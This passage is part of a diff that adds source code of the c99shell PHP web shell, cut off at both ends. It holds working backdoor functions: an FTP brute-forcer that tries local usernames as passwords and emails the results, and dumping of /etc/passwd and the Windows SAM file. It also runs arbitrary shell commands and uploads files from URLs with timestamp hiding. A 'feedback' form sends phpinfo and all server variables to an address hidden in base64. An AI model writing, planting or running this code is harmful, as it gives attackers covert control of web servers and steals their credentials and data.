($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) 